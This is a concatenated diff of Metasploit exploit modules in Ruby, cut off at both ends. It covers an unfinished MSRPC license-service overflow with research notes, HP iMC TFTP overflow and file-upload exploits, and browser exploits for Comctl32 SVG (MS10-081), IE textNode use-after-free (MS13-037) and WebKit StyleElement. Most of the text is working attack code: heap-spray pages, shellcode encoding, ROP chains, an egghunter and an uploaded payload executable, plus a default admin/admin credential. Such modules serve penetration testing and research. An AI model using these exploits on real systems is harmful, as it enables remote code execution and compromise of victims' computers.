||||
when 2
|
||||
len = 2044
|
||||
req = 0
|
||||
end
|
||||
buff = "H" * len if not buff
|
||||
#print_status("using length: #{len}")
|
||||
|
||||
stubdata =
|
||||
# service list
|
||||
#NDR.wstring_prebuilt(service_list) +
|
||||
#NDR.long((service_list.length-4)/2) +
|
||||
NDR.wstring(service_list) +
|
||||
NDR.long(service_list.length-1) +
|
||||
|
||||
NDR.long(rand(0xffffffff)) +
|
||||
#NDR.byte(rand(0xff)) + ("\x01" * 3) +
|
||||
|
||||
# number before...
|
||||
#NDR.long(0xfff0f0ff) +
|
||||
NDR.long(0) +
|
||||
|
||||
# sid
|
||||
NDR.long(buff.length) +
|
||||
NDR.UniConformantArray(buff) +
|
||||
|
||||
# num after
|
||||
NDR.long(0x01010101)
|
||||
#NDR.long(buff.length)
|
||||
|
||||
#stubdata << "F" * 1024
|
||||
|
||||
begin
|
||||
response = dcerpc.call(0, stubdata)
|
||||
print_status("Reply: " + dcerpc.last_response.stub_data.unpack("H*")[0])
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
print_status("No response from the DCERPC service (this is usually a good thing).")
|
||||
end
|
||||
|
||||
break if session_created?
|
||||
}
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
=begin
|
||||
|
||||
/*
|
||||
* IDL code generated by mIDA v1.0.10
|
||||
* Copyright (C) 2006, Tenable Network Security
|
||||
* http://cgi.tenablesecurity.com/tenable/mida.php
|
||||
*
|
||||
*
|
||||
* Decompilation information:
|
||||
* RPC stub type: interpreted / fully interpreted
|
||||
*/
|
||||
|
||||
[
|
||||
uuid(57674cd0-5200-11ce-a897-08002b2e9c6d),
|
||||
version(1.0)
|
||||
]
|
||||
|
||||
interface mIDA_interface
|
||||
{
|
||||
|
||||
/* opcode: 0x00, address: 0x01012CD7 */
|
||||
long _LlsrLicenseRequestW (
|
||||
[in][string] wchar_t * arg_2,
|
||||
[in] long arg_3,
|
||||
[in] char arg_4,
|
||||
[in] long arg_5,
|
||||
[in] long arg_6,
|
||||
[in][size_is(arg_6)] char * arg_7
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
jdrake notes:
|
||||
=============
|
||||
|
||||
The mIDA output doesn't appear to acurately match the required
|
||||
structure for this request. The currently used request format
|
||||
is based on manual trial-and-error and debugging of the
|
||||
unmarshalling.
|
||||
|
||||
|
||||
I am not 100% sure which lstrcatW (or even if it is indeed lstrcatW).
|
||||
The only lstrcatW I was able to reach is documented below.
|
||||
|
||||
|
||||
The function UserListUpdate has a call to lstrcatW that the current
|
||||
incomplete module will reach. In order for that to lead to an overflow:
|
||||
|
||||
1. The initial lstrlenW() must terminate early. That is, "\x00\x00"
|
||||
must exist soon after the legit data.
|
||||
|
||||
2. The first LocalAlloc (or other heap use) must grab hold of the
|
||||
memory just after the source buffer, and make it so that there are no
|
||||
longer any "\x00\x00" (aligned on two-bytes) after the input buffer.
|
||||
At least, if there is an aligned "\x00\x00", it should be further
|
||||
along than when the first lstrlenW ran.
|
||||
|
||||
3. The lstrcatW will overflow the heap buffer since the stored number
|
||||
of bytes differs from the actual "lstrlenW" now...
|
||||
|
||||
|
||||
|
||||
Questions:
|
||||
|
||||
What happens if lstrlenW hits the end of the segment?
|
||||
How can we allocate blocks of memory that won't get freed until we say
|
||||
so? (soft leak)
|
||||
|
||||
|
||||
=end
|
||||
@@ -0,0 +1,103 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] HP Intelligent Management Center tftpserver ERROR Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on HP Intelligent Management Center's
|
||||
TFTP service. By either supplying a malformed DATA or ERROR TFTP packet, the process
|
||||
will copy the user input into a fixed-length buffer on the stack, which results in
|
||||
arbitrary code execution under the context of the SYSTEM user.
|
||||
|
||||
Note: If the user input exceeds 1100 bytes, the vulnerable code won't trigger. Even if
|
||||
you're able to trigger it (send about 1000 bytes), overwrite the SEH, /GS is still
|
||||
enabled, and we don't seem to be raising an exception before @__security_check_cookie()
|
||||
is called (which leads to kernel32.TerminateProcess). Also, all loded modules are safeseh
|
||||
protected. Use an address outside the range of loaded modules, perhaps?
|
||||
|
||||
The copying routine is at 0x405331 (XP SP3).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1852' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-164/' ],
|
||||
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02822750' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 500,
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh", #none/process/seh
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3', {'Ret'=>0x41414141} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2011",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Sending packet...")
|
||||
|
||||
connect_udp
|
||||
|
||||
#1 = Read; 2 = Write; 3 = Data; 4 = ACK; 5 = Err
|
||||
#http://www.freesoft.org/CIE/RFC/1350/5.htm
|
||||
|
||||
#Initial packet. Probably don't need to use this.
|
||||
=begin
|
||||
pkt = ''
|
||||
pkt << "\x00\x05" #Opcode
|
||||
pkt << "\x41"*4 #Filename
|
||||
pkt << "\x00" #Null byte terminator
|
||||
pkt << "netascii" #Mode
|
||||
pkt << "\x00" #Null byte terminator
|
||||
=end
|
||||
|
||||
#Data packet
|
||||
data = ''
|
||||
data << "\x00\x03" #Opcode
|
||||
data << "\x00\x01" #Block number
|
||||
data << "\x41"*1000 #Data
|
||||
|
||||
#Error packet
|
||||
err = ''
|
||||
err << "\x00\x05" #Opcode
|
||||
err << "\x00\x01" #Error code
|
||||
err << "\x41"*550 #Message
|
||||
err << "\x00" #Null byte terminator
|
||||
|
||||
udp_sock.put(err)
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,126 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] HP Intelligent Management Center tftpserver WRQ Remote Code Execution Vulnerability",
|
||||
'Description' => %q{
|
||||
The flaw exists within the tftpserver.exe component which listens by default on UDP port 69.
|
||||
When handling WRQ opcode types the server allows arbitrary file creation. Additionally, the
|
||||
server is configured to truncate/overwrite existing files. This process is owned by the SYSTEM
|
||||
user. A remote attacker can exploit this vulnerability to execute arbitrary code under the
|
||||
context of the SYSTEM user. --- ZDI
|
||||
|
||||
Note: By default, the files are stored in the follwoing folder. And this appears to be the only
|
||||
place to upload our stuff to (attempt to anywhere else will just give us an access denied, even
|
||||
if the location has full control set for 'Everyone'):
|
||||
C:\Program Files\iMC\server\tmp\
|
||||
|
||||
tftpserver.exe is not in that directory.
|
||||
|
||||
The only possible ways to gain code exeuction is under one of these:
|
||||
1. The user manually clicks on the binary
|
||||
2. C:\Program Files\iMC\server\tmp\ also happens to be a web directory
|
||||
|
||||
** Still investigating if it's possible to traverse our way out. Or at least use another vuln (
|
||||
if any) to execute our binry in C:\Program Files\iMC\server\tmp\ **
|
||||
|
||||
Default password for Intelligent Management on port 8080: admin/admin
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1849' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-161/' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 500,
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh", #none/process/seh
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3', {'Ret'=>0x41414141} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2011",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Generating payload...")
|
||||
exe = generate_payload_exe
|
||||
|
||||
print_status("Sending packet...")
|
||||
|
||||
connect_udp
|
||||
|
||||
#1 = Read; 2 = Write; 3 = Data; 4 = ACK; 5 = Err
|
||||
#http://www.freesoft.org/CIE/RFC/1350/5.htm
|
||||
|
||||
#Send a WRQ request to begin the transfer
|
||||
pkt = ''
|
||||
pkt << "\x00\x02" #Opcode (WRQ)
|
||||
pkt << "test.exe" #Filename
|
||||
pkt << "\x00" #Null byte terminator
|
||||
pkt << "octet" #Mode
|
||||
pkt << "\x00" #Null byte terminator
|
||||
|
||||
#Send WRQ
|
||||
udp_sock.put(pkt)
|
||||
|
||||
#ACK from server
|
||||
res = udp_sock.recvfrom(1024)
|
||||
tmp = Rex::Text.to_hex_dump(res.to_s)
|
||||
print_status("Response:\n#{tmp.chomp}")
|
||||
|
||||
#Same port (69) is used to transfer our data packets. If chunk size is less than 512 bytes,
|
||||
#it is treated by the TFTP server as the last data packet
|
||||
counter = 1
|
||||
0.step(exe.length, 512) do |i|
|
||||
block = [counter].pack('n')
|
||||
data = ''
|
||||
data << "\x00\x03" #Opcode
|
||||
data << block #Block number
|
||||
data << exe[i, 512] #Data
|
||||
|
||||
print_status("Sending block ##{counter.to_s}")
|
||||
udp_sock.write(data)
|
||||
|
||||
counter += 1
|
||||
|
||||
#See if each data packet is delivered correctly
|
||||
res = udp_sock.recvfrom(1024)
|
||||
print_status("Response:\n#{Rex::Text.to_hex_dump(res.to_s).chomp}")
|
||||
end
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,137 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Comctl32 Heap Overflow Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a heap overflow vulnerability in the Comctl32 library
|
||||
when processing specially crafted SVG files. The overflow is triggered via
|
||||
an overly long string that gets displayed in the status bar of IE. In order
|
||||
for the SVG messages to be processed, a third party SVG viewer needs to be
|
||||
installed.
|
||||
During testing, Adobes SVG Viewer was used as the SVG message sender, although
|
||||
other SVG viewers may work. This exploit was tested against version
|
||||
5.82.2900.5512 of comctl32.dll, and was not fully reliable. Success rate depends
|
||||
primarily on the number of iexplorer processes running and possibly other factors.
|
||||
This module does not bypass DEP or ASLR, however implimenting this feature should
|
||||
be relatively trivial.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'h07', # founder
|
||||
'd0c_s4vage', # public exploit
|
||||
'mr_me', # msf
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2010-2746'],
|
||||
['MSB', 'MS10-081' ],
|
||||
['BID', '43717'],
|
||||
['URL', 'http://secunia.com/advisories/40217'],
|
||||
['URL', 'http://www.microsoft.com/technet/security/bulletin/ms10-081.mspx'],
|
||||
['URL', 'http://www.breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'space' => 600,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# heap overflow has no 'RET'
|
||||
[ 'Automatic', {} ],
|
||||
],
|
||||
'DisclosureDate' => "Oct 12 2010",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-2746.svg")
|
||||
f = File.open(path, "rb")
|
||||
@trigger = f.read
|
||||
f.close
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri.match(/\.svg/)
|
||||
print_status("Sending svg trigger file to #{cli.peerhost}:#{cli.peerport}")
|
||||
send_response(cli, @trigger, { 'Content-Type' => 'image/svg+xml' } )
|
||||
return
|
||||
end
|
||||
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
# obfuscation phun
|
||||
js_func_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_base = rand_text_alpha(rand(6) + 3)
|
||||
js_var_array = rand_text_alpha(rand(6) + 3)
|
||||
js_var_counter = rand_text_alpha(rand(6) + 3)
|
||||
js_var_str = rand_text_alpha(rand(6) + 3)
|
||||
js_var_result = rand_text_alpha(rand(6) + 3)
|
||||
js_var_length = rand_text_alpha(rand(6) + 3)
|
||||
js_var_shellcode = rand_text_alpha(rand(6) + 3)
|
||||
trigger_file = get_resource() + "/" + rand_text_alpha(rand(6) + 3) + ".svg"
|
||||
|
||||
# innerHTML heap spray, could have used heaplib
|
||||
# TODO: recreate JS to perform a DEP bypass using @WTFuzz heap spray
|
||||
# TODO: recreate JS to perform ASLR bypass using JAVA
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
function #{js_func_name}(#{js_var_str}, #{js_var_length}) {
|
||||
var #{js_var_result} = #{js_var_str};
|
||||
while(#{js_var_result}.length < #{js_var_length}) {
|
||||
#{js_var_result} += #{js_var_result};
|
||||
}
|
||||
return #{js_var_result}.substr(#{js_var_result}.length - #{js_var_length});
|
||||
}
|
||||
var #{js_var_shellcode} = unescape("%u9000%u9090%ucccc") +
|
||||
unescape("#{shellcode}");
|
||||
var #{js_var_base} = #{js_func_name}(unescape("%u2100"), 0x800 - #{js_var_shellcode}.length);
|
||||
var #{js_var_array} = [];
|
||||
for(var #{js_var_counter} = 0; #{js_var_counter} < 2000; #{js_var_counter}++) {
|
||||
#{js_var_array}[#{js_var_counter}] = document.createElement("a");
|
||||
#{js_var_array}[#{js_var_counter}].innerHTML = [#{js_var_base} + #{js_var_shellcode}].join("");
|
||||
}
|
||||
</script>
|
||||
<iframe width="100%" height="100%" src="#{trigger_file}" marginheight="0" marginwidth="0"></iframe>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
#Remove extra tabs in HTML
|
||||
html = html.gsub(/^\t\t/, "")
|
||||
|
||||
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response( cli, html, {'Content-Type' => 'text/html'} )
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,216 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",
|
||||
'Description' => %q{
|
||||
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
|
||||
where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-1311' ],
|
||||
[ 'MSB', 'MS13-037' ],
|
||||
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'Space' => 812,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "June 6 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
print_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def heap_spray(my_target, p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
|
||||
js = %Q|
|
||||
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
heap_obj.gc();
|
||||
for (var i=1; i < 0x300; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
var overflow = nops.substring(0, 10);
|
||||
|
||||
|
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
|
||||
end
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def get_payload(t, cli)
|
||||
code = payload.encoded
|
||||
|
||||
# No rop. Just return the payload.
|
||||
return code if t['Rop'].nil?
|
||||
|
||||
# ROP chain generated by mona.py - See corelan.be
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
|
||||
stack_pivot = [
|
||||
0x77c1cafb, # POP EBP # RETN [msvcrt.dll]
|
||||
0x41414141, # Junk
|
||||
0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]
|
||||
].pack("V*")
|
||||
|
||||
# Set up required heap layout
|
||||
junk = "#{Rex::Text.rand_text_alpha(4)}"
|
||||
null = "\x00"*4
|
||||
valid_ptr = [0x0c0c0c0c].pack("V*")
|
||||
offset = [0x0c0c0c6c].pack("V*")
|
||||
heap_foo = junk*5 +
|
||||
valid_ptr*2 +
|
||||
junk +
|
||||
offset +
|
||||
junk*4 +
|
||||
valid_ptr +
|
||||
junk*6 +
|
||||
valid_ptr +
|
||||
null +
|
||||
junk*2
|
||||
|
||||
rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})
|
||||
rop_payload << code
|
||||
end
|
||||
|
||||
return rop_payload
|
||||
end
|
||||
|
||||
def get_exploit(my_target, cli)
|
||||
p = get_payload(my_target, cli)
|
||||
js = heap_spray(my_target, p)
|
||||
|
||||
html = %Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
function exploit() {
|
||||
var obj = document.createElement('s')
|
||||
obj.innerHTML = "⍼☠"
|
||||
document.body.appendChild(obj)
|
||||
|
||||
document.styleSheets[0].cssText = "body:first-line{color:blue}"
|
||||
CollectGarbage()
|
||||
|
||||
setTimeout(function(){
|
||||
for (i=0;i<1000;i++){
|
||||
obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";
|
||||
}
|
||||
}, 500)
|
||||
}
|
||||
</script>
|
||||
<style>
|
||||
</style>
|
||||
</head>
|
||||
<body onload='setTimeout("exploit()", 2000)'>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = get_exploit(my_target, cli)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status "Sending HTML..."
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,230 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
# TODO: Find correct autopwn settings for Webkit
|
||||
# include Msf::Exploit::Remote::BrowserAutopwn
|
||||
# autopwn_info({
|
||||
# :ua_name => HttpClients::FF,
|
||||
# :ua_minver => "3.5",
|
||||
# :ua_maxver => "r80213",
|
||||
# :os_name => OperatingSystems::WINDOWS,
|
||||
# :javascript => true,
|
||||
# :rank => NormalRanking,
|
||||
# :vuln_test => "if (navigator.userAgent.indexOf('AppleWebKit/533+') != -1 { is_vuln = true; }",
|
||||
# })
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Webkit "StyleElement::Process" Integer Overflow Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an integer overflow in Webkit r80213 and earlier. This is
|
||||
used by Google Chrome < 10.0.648.133, Apple Safari < 5.0.5 and other browsers based
|
||||
on Webkit. The flaw exists in the webkit.dll, in the Webcore::StyleElement::Process
|
||||
fumction. The total length of string elements is stored in an unsigned integer, and
|
||||
is then directly used in an allocation. By overflowing the integer with a large number
|
||||
of text nodes, an undersized allocation occurs and the resulting memcpy overwrites data
|
||||
on the heap, resulting in remote code execution.
|
||||
|
||||
This exploit bypasses DEP & ASLR, and uses the WhitePhosphorus 'Sayonara' method to
|
||||
do so. Regardless of the unfortunate circumstances of the techniques publicity, props
|
||||
to them for putting it together.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Anonymous', # Reported to ZDI
|
||||
'Vincenzo Iozzo, Willem Pinckaers, and Ralf-Philipp Weinmann', # Used to own the Blackberry Torch 9800 at Pwn2Own 2011
|
||||
'Jon Butler <admin@securitea.net>', # Wrote MSF module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-1290'],
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-104/'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread', # graceful exit if run in separate thread
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x10000,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Webkit <= r80213, Windows 7 (Requires Java)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Auto' => true,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 14 2011'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks (actual allocation is double this value)', 0x10000 ]),
|
||||
OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 0x4 ]),
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
|
||||
OptBool.new('Crash', [ true, 'Use an invalid offset to make the exploit crash (for debugging)', false ]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri == get_resource() or request.uri =~ /\/$/
|
||||
print_status("#{self.refname}: Redirecting #{cli.peerhost}:#{cli.peerport}")
|
||||
redir = get_resource()
|
||||
redir << '/' if redir[-1,1] != '/'
|
||||
redir << rand_text_alphanumeric(4+rand(4))
|
||||
redir << '.html'
|
||||
send_redirect(cli, redir)
|
||||
|
||||
elsif request.uri =~ /\.html?$/
|
||||
print_status("#{self.refname}: Sending HTML to #{cli.peerhost}:#{cli.peerport}")
|
||||
|
||||
applet_name = rand_text_alpha(rand(100)+1)
|
||||
exp_func = rand_text_alpha(rand(100)+1)
|
||||
spray_count = datastore['SprayCount']
|
||||
spray_size = datastore['SpraySize']
|
||||
set_bp = (datastore['SetBP'] == false) ? "%u9090%u9090" : "%ucccc%ucccc"
|
||||
rop_ss = (datastore['Crash'] == false) ? "%ucdbb%u6d01" : "%u1111%u1111"
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<applet codebase="." code="#{applet_name}.class" width=0 height=0></applet>
|
||||
<script>
|
||||
|
||||
function #{exp_func}() {
|
||||
|
||||
var str = "";
|
||||
var ovr = "";
|
||||
var payload = "";
|
||||
|
||||
var styleElement = document.createElement('style');
|
||||
styleElement.setAttribute('type', 'text/css');
|
||||
|
||||
payload += unescape("%u4F54%u574F");
|
||||
payload += unescape("%u4F54%u574F");
|
||||
payload += unescape("#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}");
|
||||
|
||||
while (payload.length < #{spray_size}) {
|
||||
payload += unescape("%uffa0%u7f3e");
|
||||
}
|
||||
|
||||
txt = document.createTextNode(payload);
|
||||
styleElement.appendChild(txt);
|
||||
|
||||
// Egghunter
|
||||
// SetBP break goes here, if chosen
|
||||
ovr += unescape("#{set_bp}");
|
||||
ovr += unescape("%u54B8%u4F4F");
|
||||
ovr += unescape("%u8157%uF4F2");
|
||||
ovr += unescape("%uC164%u6608");
|
||||
ovr += unescape("%uCA81%u0FFF");
|
||||
ovr += unescape("%u8042%u14C2");
|
||||
ovr += unescape("%u023B%uF375");
|
||||
ovr += unescape("%u423B%u7504");
|
||||
ovr += unescape("%u83EE%u08C2");
|
||||
ovr += unescape("%u6852%uC510");
|
||||
ovr += unescape("%u7C38%u406A");
|
||||
ovr += unescape("%uFF68%uFEFF");
|
||||
ovr += unescape("%uF7FF%u241C");
|
||||
ovr += unescape("%uA152%uA140");
|
||||
ovr += unescape("%u7C37%uD0FF");
|
||||
ovr += unescape("%uFF5A%u90D2");
|
||||
|
||||
